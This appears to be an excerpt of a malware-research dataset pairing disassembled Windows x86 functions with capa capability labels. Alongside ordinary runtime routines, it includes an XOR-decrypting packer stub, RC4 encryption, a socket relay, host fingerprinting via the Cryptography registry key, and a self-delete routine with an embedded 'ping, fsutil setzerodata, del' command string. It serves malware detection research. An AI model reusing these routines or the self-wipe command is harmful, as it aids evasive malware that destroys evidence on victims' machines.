joyce8/EMBER2024-capa huggingface dataset:
Function at 0x415bb0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x4610c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [eax], SysReAllocStringLen
mov dword [eax + 4], ecx
mov dword [ebp - 0x64], 0x40
push str.GlobalMemoryStatusEx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
je 0x415c21
lea edx, [ebp - 0x64]
push edx
call dword [ebp - 0x68]
test eax, eax
je 0x415c21
mov eax, dword [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x3c]
push eax
call fcn.00415a90
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov dword [ecx + 4], edx
mov al, 1
jmp 0x415c4b
mov dword [ebp - 0x24], 0x20
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00415a60
xor edx, edx
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov dword [ecx + 4], edx
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004453e7
mov esp, ebp
pop ebp
ret 4

Function at 0x42c020
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x454dfd
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x4610c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
add ecx, 0x98
call fcn.0042c120
mov ecx, dword [ebp - 0x14]
add ecx, 0x18
call fcn.0040d330
mov ecx, dword [ebp - 0x14]
add ecx, 0x24
call fcn.0040d390
mov ecx, dword [ebp - 0x14]
add ecx, 0x30
call fcn.0040d390
mov eax, dword [ebp - 0x14]
mov byte [eax + 0x14], 0
mov ecx, dword [ebp - 0x14]
mov byte [ecx + 0x15], 0
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x14]
add ecx, 0x44
call fcn.0040dcb0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x44
push ecx
lea edx, [ebp - 0x2c]
push edx
call fcn.0040df30
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x20]
call fcn.0040d180
push eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x60
call fcn.00413770
movzx ecx, al
test ecx, ecx
jne 0x42c0dc
mov dword [ebp - 0x18], 1
jmp 0x42c0e3
mov dword [ebp - 0x18], 0
mov dl, byte [ebp - 0x18]
mov byte [ebp - 0xd], dl
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.0040d110
movzx eax, byte [ebp - 0xd]
test eax, eax
je 0x42c107
call fcn.00413d30
jmp 0x42c109
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 8
Function at 0x432b30
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x453d60
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x4610c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
call fcn.00430c30
mov ecx, dword [ebp - 0x10]
add ecx, 0x30
call fcn.0042db70
mov ecx, dword [ebp - 0x10]
add ecx, 0x24
call fcn.0040d110
mov ecx, dword [ebp - 0x10]
add ecx, 0xc
call fcn.0040d080
mov ecx, dword [ebp - 0x10]
call fcn.00432aa0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x443750
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x4610c4]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x208
push 0
lea eax, [ebp - 0x20c]
push eax
call fcn.00446b70
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocStringLen
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x210], eax
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x210]
push ecx
call fcn.00443c20
mov dword [ebp - 0x218], 0
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
call fcn.00445666
add esp, 4
mov dword [ebp - 0x214], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x214]
mov dword [ecx], edx
push 0
lea eax, [ebp - 0x218]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004453e7
mov esp, ebp
pop ebp
ret 8

Function at 0x443c20
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x443c52
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x443c52
xor al, al
jmp 0x443c6f
xor edx, edx
mov eax, dword [ebp - 4]
mov cl, 0x20
call fcn.00445460
xor ecx, ecx
add eax, dword [ebp - 8]
adc edx, ecx
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov dword [ecx + 4], edx
mov al, 1
mov esp, ebp
pop ebp
ret 8
Function at 0x44ac9c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x44acdb
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x44acdb
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x44acdb
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x44acdb
cmp dword [ecx + 0x74], 0xe
jbe 0x44acdb
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x44d210
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x459d54
push 0x459d4c
push str.FlsAlloc
push 0x1f
call fcn.0044d0ec
mov esi, eax
add esp, 0x10
test esi, esi
je 0x44d244
push dword [ebp + 8]
mov ecx, esi
call dword [0x45625c]
call esi
jmp 0x44d24a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x44d28e
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x459d64
push 0x459d5c
push str.FlsGetValue
push 0x21
call fcn.0044d0ec
mov esi, eax
add esp, 0x10
test esi, esi
je 0x44d2c5
push dword [ebp + 8]
mov ecx, esi
call dword [0x45625c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x44d2cd
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x459d6c
push 0x459d64
push str.FlsSetValue
push 0x22
call fcn.0044d0ec
mov esi, eax
add esp, 0x10
test esi, esi
je 0x44d307
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x45625c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x44e8a2
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x44e93f
push ebx
push esi
call fcn.0044e86b
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0044cf0a
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x44e8ec
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x44e93e
push edi
push eax
call fcn.0044cb21
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x44e90c
call fcn.0044cae7
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x44e93d
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0044cf0a
add esp, 0x20
test eax, eax
jne 0x44e92b
push edi
call fcn.0044cae7
jmp 0x44e933
push ebx
call fcn.0044cae7
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x408ecc
nop
mov ecx, 0xce16106
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x642c2851
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x402155
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
or eax, 0xffffffff
cmp dword [esp + 0xc], esi
jbe 0x402191
push edi
mov ecx, dword [esp + 0xc]
movzx ecx, byte [esi + ecx]
movzx edx, al
push 8
xor ecx, edx
shr eax, 8
pop edi
mov dl, cl
shr ecx, 1
and dl, 1
je 0x402184
xor ecx, 0xedb88320
dec edi
jne 0x402175
xor eax, ecx
inc esi
cmp esi, dword [esp + 0x10]
jb 0x402162
pop edi
not eax
pop esi
ret

Function at 0x40242b
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebx
push esi
xor bl, bl
xor esi, esi
cmp dword [0x40a224], 0xffffffff
jne 0x402462
push esi
push esi
push str.bcrypt.dll
mov dword [0x40a224], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
cmp eax, esi
je 0x402462
push str.BCryptGenRandom
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40a224], eax
mov eax, dword [0x40a224]
cmp eax, esi
je 0x402482
push 2
push dword [esp + 0x14]
push dword [esp + 0x14]
push esi
call eax
mov ebx, eax
neg ebx
sbb bl, bl
inc bl
jne 0x4024c6
cmp dword [0x40a220], 0xffffffff
jne 0x4024a9
push 0xf0000040
push 1
push esi
push esi
push 0x40a220
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x4024a9
mov dword [0x40a220], esi
mov eax, dword [0x40a220]
cmp eax, esi
je 0x4024c6
push dword [esp + 0xc]
push dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
setne bl
pop esi
mov al, bl
pop ebx
ret

Function at 0x4024f5
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
xor esi, esi
xor edi, edi
mov dword [ebp - 4], eax
cmp dword [ebp + 8], esi
jbe 0x402560
mov eax, dword [ebp + 8]
push esi
sub eax, edi
push eax
push dword [ebp - 4]
push ebx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, esi
jg 0x402556
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x402560
push esi
push esi
push esi
lea eax, [ebp - 0x108]
push eax
push esi
mov dword [ebp - 0x108], 1
mov dword [ebp - 0x104], ebx
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
jne 0x402560
jmp 0x40255b
add edi, eax
add dword [ebp - 4], eax
cmp edi, dword [ebp + 8]
jb 0x40250c
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x402566
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
push 2
mov ebx, eax
push 1
lea eax, [ebp - 5]
push eax
push ebx
xor esi, esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4025e3
push 0x18
lea eax, [ebp - 0x20]
call fcn.004024f5
pop ecx
cmp eax, 0x18
jne 0x4025e3
mov edi, dword [ebp - 0x20]
call fcn.00402307
mov esi, eax
test esi, esi
je 0x4025e3
push dword [ebp - 0x20]
call fcn.004024f5
pop ecx
cmp eax, dword [ebp - 0x20]
jne 0x4025da
push dword [ebp - 0x20]
lea eax, [ebp - 0x18]
push esi
push eax
mov eax, esi
call fcn.004026eb
mov edi, dword [ebp - 0x20]
push edi
push esi
call fcn.00402155
add esp, 0x14
cmp dword [ebp - 0x1c], eax
jne 0x4025da
mov eax, dword [ebp + 8]
mov dword [eax], edi
jmp 0x4025e3
push esi
call fcn.004023f0
pop ecx
xor esi, esi
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40266e
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
mov edi, ecx
mov cl, byte [eax + 0x100]
mov byte [ebp - 1], cl
mov cl, byte [eax + 0x101]
mov byte [ebp - 2], cl
test edx, edx
je 0x4026d6
mov ecx, dword [ebp + 8]
sub ecx, edi
push ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
push esi
inc byte [ebp - 1]
movzx esi, byte [ebp - 1]
mov dl, byte [esi + eax]
add byte [ebp - 2], dl
movzx ecx, byte [ebp - 2]
mov bl, byte [ecx + eax]
mov byte [esi + eax], bl
mov byte [ecx + eax], dl
movzx ecx, byte [esi + eax]
movzx edx, dl
add ecx, edx
mov edx, dword [ebp - 0xc]
and ecx, 0xff
mov cl, byte [ecx + eax]
xor cl, byte [edx + edi]
mov byte [edi], cl
inc edi
dec dword [ebp - 8]
jne 0x40269a
pop esi
pop ebx
mov cl, byte [ebp - 1]
mov byte [eax + 0x100], cl
mov cl, byte [ebp - 2]
mov byte [eax + 0x101], cl
pop edi
leave
ret

Function at 0x4027dc
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
or dword [ebp - 4], 0xffffffff
push esi
xor esi, esi
push esi
push esi
lea eax, [ebp - 0x108]
push eax
push esi
push esi
mov dword [ebp - 0x108], 1
mov dword [ebp - 0x104], ebx
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
jne 0x402823
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop esi
leave
ret

Function at 0x402829
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push esi
push edi
xor edi, edi
push edi
push edi
push edi
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov esi, eax
cmp esi, 0xffffffff
je 0x402861
push edi
push edi
push edi
push edi
push 0x10
push dword [esp + 0x20]
push esi
call dword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x402861
call fcn.0040288f
or esi, 0xffffffff
pop edi
mov eax, esi
pop esi
ret

Function at 0x40288f
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp esi, 0xffffffff
je 0x4028cc
xor eax, eax
inc eax
mov word [ebp - 4], ax
xor eax, eax
push 4
mov word [ebp - 2], ax
lea eax, [ebp - 4]
push eax
push 0x80
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
push 2
push esi
call dword [sym.imp.WS2_32.dll_shutdown]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
leave
ret
Function at 0x402ceb
Capabilities:
Encode data using xor
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
push edi
mov edi, 0x2003
call fcn.00402307
xor esi, esi
mov dword [ebp - 4], eax
cmp eax, esi
je 0x402dcf
push ebx
mov edi, dword [ebp + 8]
mov eax, dword [edi]
push esi
mov dword [ebp - 0x108], eax
mov eax, dword [edi + 4]
push esi
mov dword [ebp - 0x104], eax
push esi
lea eax, [ebp - 0x10c]
push eax
push esi
mov dword [ebp - 0x10c], 2
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
jl 0x402db6
mov dword [ebp - 8], esi
cmp dword [ebp - 0x10c], esi
jbe 0x402d0e
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x108]
mov ecx, dword [edi]
cmp eax, ecx
jne 0x402d62
mov ebx, dword [edi + 4]
jmp 0x402d64
mov ebx, ecx
push esi
push 0x2003
push dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
jle 0x402db6
mov cl, byte [edi + 8]
test cl, cl
je 0x402d92
xor eax, eax
test esi, esi
jle 0x402d92
mov edx, dword [ebp - 4]
xor byte [edx + eax], cl
inc eax
cmp eax, esi
jl 0x402d87
push esi
push dword [ebp - 4]
call fcn.004027dc
pop ecx
pop ecx
cmp eax, esi
jne 0x402db6
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
xor esi, esi
cmp eax, dword [ebp - 0x10c]
jb 0x402d4d
jmp 0x402d0e
mov esi, dword [edi]
call fcn.0040288f
mov esi, dword [edi + 4]
call fcn.0040288f
push dword [ebp - 4]
call fcn.004023f0
pop ecx
pop ebx
pop edi
pop esi
leave
ret

Function at 0x402e15
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push 0xf0000040
push 0x18
xor ebx, ebx
push ebx
push ebx
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 1], bl
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x402e9d
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push 0x8003
push dword [ebp - 0xc]
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x402e93
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
push ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
mov dword [ebp - 0x10], 0x10
push 2
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
push dword [ebp - 8]
test eax, eax
setne byte [ebp - 1]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov al, byte [ebp - 1]
pop ebx
leave
ret
Function at 0x402ea3
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x180
push ebx
xor ebx, ebx
cmp byte [0x40a2e8], bl
jne 0x403003
lea eax, [ebp - 0x180]
push eax
push ebx
push ebx
push 0x24
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x403003
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push edi
lea eax, [ebp - 0x180]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
jmp 0x402f15
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
test eax, eax
je 0x402f28
lea eax, [ebp - 0x180]
push eax
call esi
push 0x64
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x180]
push eax
call edi
test eax, eax
je 0x402eee
cmp byte [ebp - 0x72], 0x7b
jne 0x402f31
mov byte [ebp - 0x4c], bl
lea eax, [ebp - 0x72]
push eax
push dword [0x42a568]
lea eax, [ebp - 4]
push 0x407390
push eax
call fcn.00402b5a
add esp, 0x10
test eax, eax
je 0x403001
lea eax, [ebp - 0x18]
push eax
push 0x20119
push ebx
push str.SOFTWAREMicrosoftCryptography
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402f80
lea eax, [ebp - 0x18]
push eax
call fcn.00402774
pop ecx
mov esi, eax
jmp 0x402f82
xor esi, esi
cmp esi, ebx
je 0x402f9e
push esi
push 0x4073f0
push ebx
lea ecx, [ebp - 4]
call fcn.00402bab
push esi
call fcn.004023f0
add esp, 0x10
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call fcn.00402e15
pop ecx
pop ecx
test al, al
je 0x402ff8
movzx eax, byte [ebp - 5]
push eax
movzx eax, byte [ebp - 6]
push eax
movzx eax, byte [ebp - 7]
push eax
movzx eax, byte [ebp - 8]
push eax
movzx eax, byte [ebp - 9]
push eax
movzx eax, byte [ebp - 0xa]
push eax
movzx eax, byte [ebp - 0xb]
push eax
movzx eax, byte [ebp - 0xc]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push str._08X__04X__04X__02X_02X__02X_02X_02X_02X_02X_02X
push 0x40a2e8
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x34
push dword [ebp - 4]
call fcn.004023f0
pop ecx
pop edi
pop esi
mov eax, 0x40a2e8
pop ebx
leave
ret
Function at 0x40333d
Capabilities:
Create process on windows
Get common file path
Move file
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
push ebx
push esi
call fcn.00405da3
xor ebx, ebx
mov byte [ebp - 0xc], al
cmp byte [ebp + 8], bl
je 0x4033ad
cmp al, bl
je 0x403387
lea eax, [ebp - 0x254]
push eax
push ecx
push 1
call fcn.00403a42
pop ecx
pop ecx
push eax
call fcn.00404e85
pop ecx
pop ecx
test al, al
je 0x4033ad
lea eax, [ebp - 0x254]
push eax
call fcn.00404e40
pop ecx
jmp 0x4033ad
cmp word [0x42a7a0], bx
jne 0x4033a3
push 0x42a7a0
push ebx
push ebx
push 0x8007
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
call fcn.00404b54
call fcn.004048ef
push 6
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
push ebx
mov esi, 0x41a568
push esi
push 0x3005
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push 4
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov dword [ebp - 8], ebx
cmp byte [ebp + 8], bl
je 0x4033ee
push dword [ebp - 0xc]
call fcn.00403a42
pop ecx
push eax
push esi
push str._d__c_ping__n_2_127.0.0.1___NUL__fsutil_file_setzerodata_offset0_length524288___s___rmdir___s___s__q___NUL__exit
jmp 0x4033f5
push esi
push esi
push str._d__c_ping__n_2_127.0.0.1___NUL__fsutil_file_setzerodata_offset0_length524288___s___del___s____NUL__exit
lea eax, [ebp - 8]
push eax
call fcn.00402b0d
mov esi, dword [ebp - 8]
add esp, 0x10
cmp esi, ebx
je 0x40344a
push 0x38
lea eax, [ebp - 0x44]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x48], 0x3c
mov dword [ebp - 0x44], 0xc600
mov dword [ebp - 0x3c], str.open
mov dword [ebp - 0x38], str._COMSPEC_
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push esi
call fcn.004023f0
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x403452
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push esi
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0x4078b8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x40a350
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or eax, 6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x208]
push esi
push eax
call fcn.00405965
pop ecx
pop ecx
pop esi
leave
ret